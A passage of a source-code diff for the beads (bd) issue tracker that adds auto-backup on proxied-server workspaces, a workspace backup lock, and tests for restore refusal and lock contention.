auto-backed-up set:\n got %v\n want %v", gotIDs, wantIDs) + } +} + +// TestManagedLocalProxiedBackupRestoreRefusedWhileAttached pins the restore +// design choice: restore REPLACES the database, so it refuses while any other +// bd command is attached to the workspace, and in that case touches nothing — +// the serving child keeps running and the data stays as it was. +// +// "Attached" is what another bd process holds for its lifetime: a SHARED +// workspace gate. The test holds exactly that, in-process, rather than racing +// a second process into position. +func TestManagedLocalProxiedBackupRestoreRefusedWhileAttached(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkatt", 5*time.Minute) + + bdProxiedCreate(t, bd, p.dir, "in the backup", "-p", "1") + dest := filepath.Join(t.TempDir(), "dolt-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("bd backup init: %v\n%s", err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync: %v\n%s", err, out) + } + after := bdProxiedCreate(t, bd, p.dir, "not in the backup", "-p", "1") + before := proxiedIssueIDs(t, bd, p) + + proxyPID := readManagedProxyPidFile(t, p) + backendPID := readManagedBackendPidFile(t, p) + if proxyPID == nil || backendPID == nil { + t.Fatal("precondition: the managed topology should be serving") + } + + gates, err := buildWorkspaceGateSet(p.beadsDir) + if err != nil { + t.Fatalf("resolve workspace gates: %v", err) + } + held, err := workspacegate.AcquireAll(context.Background(), workspacegate.Shared, + workspacegate.Options{Reason: "test: attached bd client"}, gates...) + if err != nil { + t.Fatalf("hold the workspace gate: %v", err) + } + released := false + release := func() { + if !released { + released = true + if err := held.Release(); err != nil { + t.Errorf("release workspace gate: %v", err) + } + } + } + t.Cleanup(release) + + stdout, _, err := bdProxiedRunBuffers(t, bd, p.dir, "backup", "restore", dest, "--force", "--json") + if err == nil { + t.Fatalf("bd backup restore succeeded while another bd client was attached:\n%s", stdout) + } + var refusal struct { + Error string `json:"error"` + } + if jerr := json.Unmarshal([]byte(stdout[strings.Index(stdout, "{"):]), &refusal); jerr != nil { + t.Fatalf("restore refusal is not JSON on stdout: %v\n%s", jerr, stdout) + } + if !strings.Contains(refusal.Error, "other bd commands are using this workspace") { + t.Fatalf("restore refusal does not say why: %q", refusal.Error) + } + + // Refused means untouched: the serving topology is the same processes. + if pf := readManagedProxyPidFile(t, p); pf == nil || pf.Pid != proxyPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the proxy: before %+v, now %+v", proxyPID, pf) + } + if pf := readManagedBackendPidFile(t, p); pf == nil || pf.Pid != backendPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the dolt child: before %+v, now %+v", backendPID, pf) + } + + release() + if got := proxiedIssueIDs(t, bd, p); !slices.Equal(got, before) || !slices.Contains(got, after.ID) { + t.Fatalf("refused restore changed the data:\n got %v\n want %v", got, before) + } + + // Once the other client detaches, the same restore goes through. + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force", "--json"); err != nil { + t.Fatalf("bd backup restore after the client detached: %v\n%s", err, out) + } + if slices.Contains(proxiedIssueIDs(t, bd, p), after.ID) { + t.Fatalf("restore after detach did not replace the database: %s is still here", after.ID) + } +} + +// proxiedAutoBackupCreate creates an issue with auto-backup opted in and +// returns its ID. +func proxiedAutoBackupCreate(t *testing.T, bd string, p proxiedProject, title string) string { + t.Helper() + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "create", title, "-p", "2", "--silent") + if err != nil { + t.Fatalf("bd create with auto-backup opted in: %v\n%s", err, stderr) + } + if strings.Contains(stderr, "auto-backup") { + t.Fatalf("auto-backup reported a problem:\n%s", stderr) + } + id := strings.TrimSpace(stdout) + if id == "" { + t.Fatalf("bd create --silent printed no ID; stderr:\n%s", stderr) + } + return id +} + +// readProxiedAutoBackupState reads the auto-backup watermark through +// `bd backup status --json`, the surface an operator uses. +func readProxiedAutoBackupState(t *testing.T, bd string, p proxiedProject) backupState { + t.Helper() + out, err := bdProxiedRun(t, bd, p.dir, "backup", "status", "--json") + if err != nil { + t.Fatalf("bd backup status --json: %v\n%s", err, out) + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("bd backup status --json produced no JSON:\n%s", out) + } + var status struct { + Backup backupState `json:"backup"` + } + if err := json.Unmarshal(out[start:], &status); err != nil { + t.Fatalf("parse backup status JSON: %v\n%s", err, out) + } + return status.Backup +} + +// proxiedIssueIDs lists every issue ID in the workspace, sorted. +func proxiedIssueIDs(t *testing.T, bd string, p proxiedProject) []string { + t.Helper() + var ids []string + for _, issue := range bdProxiedListJSON(t, bd, p, "--all") { + ids = append(ids, issue.ID) + } + slices.Sort(ids) + return ids +} + +// assertManagedProxiedQuiescent fails when either managed-local pidfile is +// present, i.e. something relaunched the topology. +func assertManagedProxiedQuiescent(t *testing.T, p proxiedProject, after string) { + t.Helper() + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Fatalf("after %s, %s is present: the topology was relaunched", after, name) + } + } +} diff --git a/cmd/bd/backup_auto_proxied_test.go b/cmd/bd/backup_auto_proxied_test.go new file mode 100644 index 000000000..87c9ffc11 --- /dev/null +++ b/cmd/bd/backup_auto_proxied_test.go @@ -0,0 +1,142 @@ +package main + +import ( + "context" + "database/sql" + "os" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/uow" +) + +// fakeMaintenanceProvider is a proxied provider stand-in exposing the +// non-transactional seam proxied auto-backup runs on. It never opens a +// connection; the tests here only assert whether it would be used. +type fakeMaintenanceProvider struct { + uow.UnitOfWorkProvider + runs int +} + +func (f *fakeMaintenanceProvider) RunNonTx(context.Context, func(context.Context, *sql.Conn) error) error { + f.runs++ + return nil +} + +func (f *fakeMaintenanceProvider) Close(context.Context) error { return nil } + +// TestProxiedAutoBackupBackendFollowsLocality pins where auto-backup may run on +// a proxied workspace: exactly where `bd backup sync` is honored. Auto-backup +// registers a server-side backup remote, which on a server bd does not own is +// global to every client of it — the storm the explicit verbs refuse by design +// — so an implicit trigger must not get further than the explicit one. An +// unreadable sidecar resolves to the unknown topology and fails closed. +// +// Cannot be parallel: mutates the proxiedServerMode and uowProvider globals. +func TestProxiedAutoBackupBackendFollowsLocality(t *testing.T) { + for _, tc := range []struct { + name string + sidecar string + noProvider bool + wantBackend bool + }{ + {name: "managed-local with an open provider", sidecar: `{}`, wantBackend: true}, + {name: "managed-local with no provider open", sidecar: `{}`, noProvider: true}, + {name: "external tcp", sidecar: `{"external":{"host":"db.example.com","port":3306}}`}, + {name: "external unix socket", sidecar: `{"external":{"socket":"/tmp/dolt.sock"}}`}, + {name: "unreadable sidecar", sidecar: `{not json`}, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := prepareBackupStatusTest(t) + proxiedServerMode = true + if err := os.WriteFile(configfile.ProxiedServerClientInfoPath(beadsDir), []byte(tc.sidecar), 0o600); err != nil { + t.Fatalf("write proxied sidecar: %v", err) + } + + oldProvider := uowProvider + t.Cleanup(func() { uowProvider = oldProvider }) + fake := &fakeMaintenanceProvider{} + uowProvider = fake + if tc.noProvider { + uowProvider = nil + } + + backend, ok := autoBackupBackendForCommand() + if ok != tc.wantBackend { + t.Fatalf("autoBackupBackendForCommand() ok = %v, want %v", ok, tc.wantBackend) + } + if !ok { + return + } + if _, isProxied := backend.(proxiedLocalBackup); !isProxied { + t.Fatalf("backend = %T, want proxiedLocalBackup", backend) + } + if fake.runs != 0 { + t.Fatalf("resolving the backend ran %d maintenance call(s); it must not touch the server", fake.runs) + } + }) + } +} + +// TestPersistentPostRunProxiedRunsAutoBackup pins the wiring: the proxied arm +// of PersistentPostRunE calls the auto-backup hook, under the same gate the +// direct arm's maintenance net uses, plus previews. +// +// Before this hook existed the proxied arm only pruned the journal and closed +// the provider, so backup.enabled=true was inert on every proxied workspace. +// +// Cannot be parallel: mutates PersistentPostRunE's package globals. +func TestPersistentPostRunProxiedRunsAutoBackup(t *testing.T) { + for _, tc := range []struct { + name string + cmd func() *cobra.Command + readonly bool + want int + }{ + {name: "ordinary command", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, want: 1}, + {name: "strict readonly", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, readonly: true}, + {name: "bd serve", cmd: func() *cobra.Command { return &cobra.Command{Use: serveCmdName} }}, + {name: "preview", cmd: func() *cobra.Command { + c := &cobra.Command{Use: "list"} + c.Flags().Bool("dry-run", false, "") + if err := c.Flags().Set("dry-run", "true"); err != nil { + t.Fatalf("set --dry-run: %v", err) + } + return c + }}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + + oldStore, oldProvider := store, uowProvider + oldReadonly, oldProxied := readonlyMode, proxiedServerMode + oldRootCtx, oldRootCancel := rootCtx, rootCancel + oldSpan, oldProfile, oldTrace := commandSpan, profileFile, traceFile + oldBackup := runPostRunAutoBackup + t.Cleanup(func() { + store, uowProvider = oldStore, oldProvider + readonlyMode, proxiedServerMode = oldReadonly, oldProxied + rootCtx, rootCancel = oldRootCtx, oldRootCancel + commandSpan, profileFile, traceFile = oldSpan, oldProfile, oldTrace + runPostRunAutoBackup = oldBackup + }) + + calls := 0 + runPostRunAutoBackup = func(context.Context) { calls++ } + store, uowProvider = nil, nil + readonlyMode = tc.readonly + proxiedServerMode = true + rootCtx, rootCancel = context.Background(), nil + commandSpan, profileFile, traceFile = nil, nil, nil + + if err := rootCmd.PersistentPostRunE(tc.cmd(), nil); err != nil { + t.Fatalf("PersistentPostRunE: %v", err) + } + if calls != tc.want { + t.Fatalf("auto-backup hook calls = %d, want %d", calls, tc.want) + } + }) + } +} diff --git a/cmd/bd/backup_auto_test.go b/cmd/bd/backup_auto_test.go index 5e64195db..f2a10803b 100644 --- a/cmd/bd/backup_auto_test.go +++ b/cmd/bd/backup_auto_test.go @@ -133,9 +133,9 @@ func TestIsBackupAutoEnabled(t *testing.T) { // status` reachable on a proxied server for the first time, where it rendered // the embedded-mode footnote "(auto: no git remote)". On any sql-server shape // the value is false because usesSQLServer() short-circuits, whether or not a -// remote exists, so that reason was simply untrue; and on proxied specifically -// even an explicit backup.enabled=true changes nothing, because the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup. +// remote exists, so that reason was simply untrue. Since the proxied post-run +// arm gained its auto-backup hook, an explicit opt-in on proxied is honored +// and needs no caveat. // // Cannot be parallel: mutates the proxiedServerMode global, primeHasGitRemote // and env vars. @@ -191,23 +191,25 @@ func TestBackupAutoStatusNote(t *testing.T) { wantNote: "", }, { - name: "proxied default → names the missing hook, not the remote", + // Proxied is server mode: the default is off whether or not a + // remote exists, and the note names the opt-in that now works. + name: "proxied default → off, names the opt-in, not the remote", envVal: "\x00", hasRemote: true, proxied: true, wantEnabled: false, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + wantNote: "auto: off in proxied-server mode; set backup.enabled=true to opt in", }, { - // The dead opt-in: enabled=true with nothing to run it. The note - // must survive an explicit source here, or status reports a bare - // "enabled=true" and the operator believes backups are happening. - name: "proxied explicit opt-in → still inert, still annotated", + // The proxied post-run arm runs auto-backup on managed-local (the + // only proxied shape status renders on), so an explicit opt-in is + // real there and needs no caveat. + name: "proxied explicit opt-in → honored, no note", envVal: "true", hasRemote: false, proxied: true, wantEnabled: true, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + wantNote: "", }, } diff --git a/cmd/bd/backup_dolt.go b/cmd/bd/backup_dolt.go index 5ee084260..3e2aebbd7 100644 --- a/cmd/bd/backup_dolt.go +++ b/cmd/bd/backup_dolt.go @@ -142,6 +142,20 @@ Run 'bd backup init ' first to configure a destination.`, }() ctx := rootCtx + if usesProxiedServer() { + if err := requireLocalProxiedBackup("backup sync"); err != nil { + return err + } + } + release, err := acquireBackupLock(backupLockWait) + if err != nil { + if errors.Is(err, errBackupBusy) { + return HandleErrorRespectJSON("%v; retry when it completes", err) + } + return HandleErrorRespectJSON("%v", err) + } + defer release() + if usesProxiedServer() { return runBackupSyncProxied(ctx) } @@ -453,7 +467,7 @@ backup configuration. The backup data at the destination is not deleted.`, } // Also remove backup_export if it exists (auto-export may have created it at same URL) - _ = bs.BackupRemove(ctx, "backup_export") + _ = bs.BackupRemove(ctx, versioncontrolops.ExportBackupName) // Remove local config if path, err := doltBackupConfigPath(); err == nil { diff --git a/cmd/bd/backup_export.go b/cmd/bd/backup_export.go index 25b7ac945..654ba7c47 100644 --- a/cmd/bd/backup_export.go +++ b/cmd/bd/backup_export.go @@ -122,9 +122,35 @@ func atomicWriteFile(path string, data []byte) error { return nil } +// localBackupBackend is what a Dolt-native backup into a local directory needs +// from storage: the commit it would capture, and the backup itself. The direct +// store supplies one (directLocalBackup) and so does the proxied provider +// (proxiedLocalBackup, backup_proxied_server.go). +type localBackupBackend interface { + CurrentCommit(ctx context.Context) (string, error) + BackupToDir(ctx context.Context, dir string) error +} + +// directLocalBackup is localBackupBackend over an embedded or sql-server store. +type directLocalBackup struct { + store storage.DoltStorage +} + +func (b directLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + return b.store.GetCurrentCommit(ctx) +} + +func (b directLocalBackup) BackupToDir(ctx context.Context, dir string) error { + bs, ok := storage.UnwrapStore(b.store).(storage.BackupStore) + if !ok { + return fmt.Errorf("storage backend does not support backup operations") + } + return bs.BackupDatabase(ctx, dir) +} + // runBackupExport performs a Dolt-native backup to .beads/backup/. // Returns the updated state. -func runBackupExport(ctx context.Context, force bool) (*backupState, error) { +func runBackupExport(ctx context.Context, backend localBackupBackend, force bool) (*backupState, error) { dir, err := backupDir() if err != nil { return nil, err @@ -137,7 +163,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { // Change detection: skip if nothing changed (unless forced) if !force { - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit: %w", err) } @@ -147,12 +173,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } } - bs, ok := storage.UnwrapStore(store).(storage.BackupStore) - if !ok { - return nil, fmt.Errorf("storage backend does not support backup operations") - } - - if err := bs.BackupDatabase(ctx, dir); err != nil { + if err := backend.BackupToDir(ctx, dir); err != nil { // Persist the attempt time even on failure so the throttle // interval (checked by maybeAutoBackup via state.Timestamp) // applies to the next command. Without this, a sync that keeps @@ -170,7 +191,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } // Update watermarks - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit for state: %w", err) } diff --git a/cmd/bd/backup_export_failure_test.go b/cmd/bd/backup_export_failure_test.go index 174756bf8..5fd22c081 100644 --- a/cmd/bd/backup_export_failure_test.go +++ b/cmd/bd/backup_export_failure_test.go @@ -63,13 +63,10 @@ func TestRunBackupExport_PersistsThrottleOnFailure(t *testing.T) { t.Fatalf("precondition: expected zero timestamp, got %v", st.Timestamp) } - oldStore := store fake := &failingBackupStore{commit: "deadbeef", backupErr: errors.New("sync to backup: server too busy")} - store = fake - t.Cleanup(func() { store = oldStore }) before := time.Now().UTC() - if _, err := runBackupExport(context.Background(), true); err == nil { + if _, err := runBackupExport(context.Background(), directLocalBackup{store: fake}, true); err == nil { t.Fatal("expected runBackupExport to return the sync error, got nil") } if fake.backupCalls != 1 { diff --git a/cmd/bd/backup_lock.go b/cmd/bd/backup_lock.go new file mode 100644 index 000000000..832159ef2 --- /dev/null +++ b/cmd/bd/backup_lock.go @@ -0,0 +1,71 @@ +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/lockfile" +) + +// The backup lock serializes the two writers of a workspace's Dolt backup: +// post-command auto-backup and an explicit `bd backup sync`. Both run under the +// command's SHARED workspace gate, so the gate alone lets them overlap, and the +// auto-backup body does remove → add → sync on one fixed remote name — two +// concurrent runs race each other's registration and full-sync the database +// twice. Restore needs no part in it: it holds the workspace gate EXCLUSIVELY, +// which already excludes every command that could take this lock. +// +// The two callers wait differently, and deliberately: +// - auto-backup does not wait. Another backup running means one is already +// happening; it skips, and the throttle picks it up on a later command. +// - `bd backup sync` waits up to backupLockWait — the same bound an exclusive +// workspace-gate acquisition (restore) uses — and then fails with an error +// naming the busy lock, so an operator is never told it synced when it +// did not. +const backupLockFileName = "backup.lock" + +// backupLockWait bounds how long `bd backup sync` waits for another backup. +// A var so tests can shorten it. +var backupLockWait = exclusiveGateWait + +// errBackupBusy is returned when another backup holds the lock past the wait. +var errBackupBusy = errors.New("another backup is running for this workspace") + +const backupLockPoll = 50 * time.Millisecond + +// acquireBackupLock takes the workspace's backup lock, polling up to wait +// (zero means one non-blocking attempt). The returned release must be called. +func acquireBackupLock(wait time.Duration) (release func(), err error) { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return nil, fmt.Errorf("backup lock: %s", activeWorkspaceNotFoundError()) + } + path := filepath.Join(beadsDir, backupLockFileName) + f, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0o600) //nolint:gosec // path is the workspace's own lock file + if err != nil { + return nil, fmt.Errorf("backup lock: open %s: %w", path, err) + } + deadline := time.Now().Add(wait) + for { + err := lockfile.FlockExclusiveNonBlocking(f) + if err == nil { + return func() { + _ = lockfile.FlockUnlock(f) + _ = f.Close() + }, nil + } + if !lockfile.IsLocked(err) { + _ = f.Close() + return nil, fmt.Errorf("backup lock: %s: %w", path, err) + } + if !time.Now().Before(deadline) { + _ = f.Close() + return nil, errBackupBusy + } + time.Sleep(backupLockPoll) + } +} diff --git a/cmd/bd/backup_lock_test.go b/cmd/bd/backup_lock_test.go new file mode 100644 index 000000000..2248b45ad --- /dev/null +++ b/cmd/bd/backup_lock_test.go @@ -0,0 +1,133 @@ +package main + +import ( + "context" + "errors" + "os" + "strings" + "testing" + "time" +) + +// TestBackupLockSerializesBackups pins the lock itself: a second holder is +// refused while the first holds it, a bounded wait gives up with errBackupBusy, +// and releasing makes it available again. +// +// Cannot be parallel: prepareBackupStatusTest mutates package globals. +func TestBackupLockSerializesBackups(t *testing.T) { + prepareBackupStatusTest(t) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("first acquisition: %v", err) + } + if _, err := acquireBackupLock(0); !errors.Is(err, errBackupBusy) { + t.Fatalf("non-blocking acquisition while held = %v, want errBackupBusy", err) + } + start := time.Now() + if _, err := acquireBackupLock(150 * time.Millisecond); !errors.Is(err, errBackupBusy) { + t.Fatalf("bounded wait while held = %v, want errBackupBusy", err) + } + if waited := time.Since(start); waited < 100*time.Millisecond { + t.Fatalf("bounded wait returned after %s; it must poll for the wait it was given", waited) + } + release() + + again, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("acquisition after release: %v", err) + } + again() +} + +// TestAutoBackupSkipsWhileAnotherBackupRuns: auto-backup never waits on the +// lock. With it held the backup does not run and the throttle state is left +// alone, so the next command retries; once released, the same call backs up. +func TestAutoBackupSkipsWhileAnotherBackupRuns(t *testing.T) { + prepareBackupStatusTest(t) + t.Setenv("BD_BACKUP_ENABLED", "true") + t.Setenv("BD_BACKUP_INTERVAL", "1ms") + t.Setenv("BD_GIT_HOOK", "") + initConfigForTest(t) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + maybeAutoBackup(context.Background()) + if fake.backupCalls != 0 { + t.Fatalf("auto-backup ran %d backup(s) while another backup held the lock", fake.backupCalls) + } + dir, err := backupDir() + if err != nil { + t.Fatal(err) + } + if st, _ := loadBackupState(dir); !st.Timestamp.IsZero() { + t.Fatalf("a skipped auto-backup advanced the throttle to %v", st.Timestamp) + } + + release() + maybeAutoBackup(context.Background()) + if fake.backupCalls != 1 { + t.Fatalf("auto-backup ran %d backup(s) after the lock was released, want 1", fake.backupCalls) + } +} + +// TestBackupSyncFailsWhenAnotherBackupHoldsTheLock: an explicit sync waits +// backupLockWait for another backup and then fails loudly, before touching the +// store — it never reports a sync it did not do. +func TestBackupSyncFailsWhenAnotherBackupHoldsTheLock(t *testing.T) { + prepareBackupStatusTest(t) + oldWait := backupLockWait + backupLockWait = 100 * time.Millisecond + t.Cleanup(func() { backupLockWait = oldWait }) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + defer release() + + var runErr error + stderr := captureStderrForBackupLockTest(t, func() { + runErr = backupSyncCmd.RunE(backupSyncCmd, nil) + }) + if runErr == nil { + t.Fatal("bd backup sync succeeded while another backup held the lock") + } + if !strings.Contains(stderr, "another backup is running") { + t.Fatalf("sync refusal does not say why; stderr:\n%s", stderr) + } + if fake.backupCalls != 0 { + t.Fatalf("refused sync still reached the store (%d backup calls)", fake.backupCalls) + } +} + +func captureStderrForBackupLockTest(t *testing.T, fn func()) string { + t.Helper() + stdioMutex.Lock() + defer stdioMutex.Unlock() + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + old := os.Stderr + os.Stderr = w + fn() + os.Stderr = old + _ = w.Close() + buf := make([]byte, 1<<16) + n, _ := r.Read(buf) + _ = r.Close() + return string(buf[:n]) +} diff --git a/cmd/bd/backup_proxied_server.go b/cmd/bd/backup_proxied_server.go index 13bfaacac..0cce7e50c 100644 --- a/cmd/bd/backup_proxied_server.go +++ b/cmd/bd/backup_proxied_server.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" "github.com/steveyegge/beads/internal/storage/issueops" @@ -47,19 +48,83 @@ const proxiedBackupTargetName = defaultDoltBackupName // Defense in depth, not a second policy: the rule and its wording come from the // same registry row the pre-provider gate consults, so the two cannot drift. func requireLocalProxiedBackup(path string) error { - row, ok := LookupCapabilityRow(path, "") + rule, ok := proxiedBackupRule(path) if !ok { // Unreachable: TestProxyCapabilityRegistryCoversCommandTree fails the // build for a backup path with no row. Refuse rather than guess. return HandleErrorRespectJSON("%s has no proxied-server capability row", path) } - rule := row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())) if rule.Outcome == ProxyOutcomeHonored { return nil } return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) } +// proxiedBackupRule resolves the registry rule for a backup path on this +// workspace's proxied topology. ok is false only for a path with no row. +func proxiedBackupRule(path string) (proxyCapabilityRule, bool) { + row, ok := LookupCapabilityRow(path, "") + if !ok { + return proxyCapabilityRule{}, false + } + return row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())), true +} + +// proxiedAutoBackupBackend returns the backend post-command auto-backup runs +// against on a proxied-server workspace, or ok=false when it must not run. +// +// Auto-backup is a `bd backup sync` nobody typed, so it is honored exactly +// where that verb is — the "backup sync" registry row, i.e. managed-local +// only. Anywhere else the backup remote it registers would land on a server bd +// does not own, where it is global to every client; that is the storm the +// explicit verbs refuse by design, and an implicit trigger must not reopen it. +// +// It never opens a provider of its own. A command that did not open one (or +// closed it, as restore does) has no live topology to back up, and opening one +// here would relaunch a server the command may just have stopped. +func proxiedAutoBackupBackend() (localBackupBackend, bool) { + if rule, ok := proxiedBackupRule("backup sync"); !ok || rule.Outcome != ProxyOutcomeHonored { + debug.Logf("backup: skipping auto-backup — proxied topology does not honor backup sync\n") + return nil, false + } + if uowProvider == nil { + return nil, false + } + mp, ok := uowProvider.(uow.MaintenanceProvider) + if !ok { + debug.Logf("backup: skipping auto-backup — provider %T has no maintenance seam\n", uowProvider) + return nil, false + } + return proxiedLocalBackup{provider: mp}, true +} + +// proxiedLocalBackup is localBackupBackend over the proxied provider's +// non-transactional seam, the one `bd backup sync` uses. +// +// No pre-backup commit: change detection compares HEAD, and every proxied +// write transaction already ends in DOLT_COMMIT('-Am') (uow doltServerTx), so +// HEAD is where the data is — the invariant direct mode gets from running +// auto-commit just before auto-backup. +type proxiedLocalBackup struct { + provider uow.MaintenanceProvider +} + +func (b proxiedLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + var hash string + err := b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + var err error + hash, err = versioncontrolops.CurrentCommit(ctx, conn) + return err + }) + return hash, err +} + +func (b proxiedLocalBackup) BackupToDir(ctx context.Context, dir string) error { + return b.provider.RunNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + return versioncontrolops.BackupToDir(ctx, conn, conn, dir) + }) +} + // proxiedActiveDatabase asks the server which database the provider opened, // rather than re-deriving it from the workspace config. The provider already // resolved that question (metadata.json, then --database/--db), and a second @@ -203,7 +268,7 @@ func runBackupRemoveProxied(ctx context.Context) error { return err } // auto-export may have registered a second remote at the same URL. - _ = versioncontrolops.BackupRemove(ctx, conn, "backup_export") + _ = versioncontrolops.BackupRemove(ctx, conn, versioncontrolops.ExportBackupName) return nil }) if err != nil { diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 345639a35..0943da305 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -2000,6 +2000,15 @@ var rootCmd = &cobra.Command{ if shouldAutoPruneEventsJournal(cmd) { maybeAutoPruneEventsJournal(rootCtx, beads.FindBeadsDir()) } + // Auto-backup, through the provider this command opened. Same + // gate as the direct arm's maintenance net below (strict + // --readonly, `bd serve` and a migration freeze all skip it), + // plus previews: a --dry-run must not register a backup remote + // or write backup state. proxiedAutoBackupBackend decides the + // topology, so this stays inert off managed-local. + if runsPostCommandMaintenance(cmd.Name(), readonlyMode) && !isPreviewCommand(cmd) && !commandFreeze.Frozen() { + runPostRunAutoBackup(rootCtx) + } if uowProvider != nil { _ = uowProvider.Close(rootCtx) uowProvider = nil diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index d077cff5e..1c5a922ff 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1392,44 +1392,12 @@ func (s *DoltStore) BackupRemove(ctx context.Context, name string) error { // BackupDatabase registers dir as a file:// Dolt backup remote and syncs // the full database to it, preserving complete commit history. func (s *DoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - syncDB, err := s.oneShotConn(0) if err != nil { return err } defer syncDB.Close() - - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, s.db, backupName) - if err := versioncontrolops.BackupAdd(ctx, s.db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := versioncontrolops.BackupSync(ctx, syncDB, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, syncDB, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, s.db, syncDB, dir) } // RestoreDatabase restores the database from a Dolt backup at dir. diff --git a/internal/storage/dolt/versioned.go b/internal/storage/dolt/versioned.go index 7c1678355..ad0c4a7a6 100644 --- a/internal/storage/dolt/versioned.go +++ b/internal/storage/dolt/versioned.go @@ -188,12 +188,7 @@ func (s *DoltStore) ListBranches(ctx context.Context) ([]string, error) { // GetCurrentCommit returns the hash of the current HEAD commit. // Implements storage.VersionedStorage. func (s *DoltStore) GetCurrentCommit(ctx context.Context) (string, error) { - var hash string - err := s.db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash) - if err != nil { - return "", fmt.Errorf("failed to get current commit: %w", err) - } - return hash, nil + return versioncontrolops.CurrentCommit(ctx, s.db) } // GetStateHash returns a hash of the entire database including the working diff --git a/internal/storage/embeddeddolt/version_control.go b/internal/storage/embeddeddolt/version_control.go index 47f55cc87..130cf8894 100644 --- a/internal/storage/embeddeddolt/version_control.go +++ b/internal/storage/embeddeddolt/version_control.go @@ -749,39 +749,8 @@ func (s *EmbeddedDoltStore) BackupRemove(ctx context.Context, name string) error // the database to it. The dir must exist locally. This preserves full Dolt // commit history. func (s *EmbeddedDoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - return s.withMutatingDBConn(ctx, func(db versioncontrolops.DBConn) error { - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, db, backupName) - if err := versioncontrolops.BackupAdd(ctx, db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := 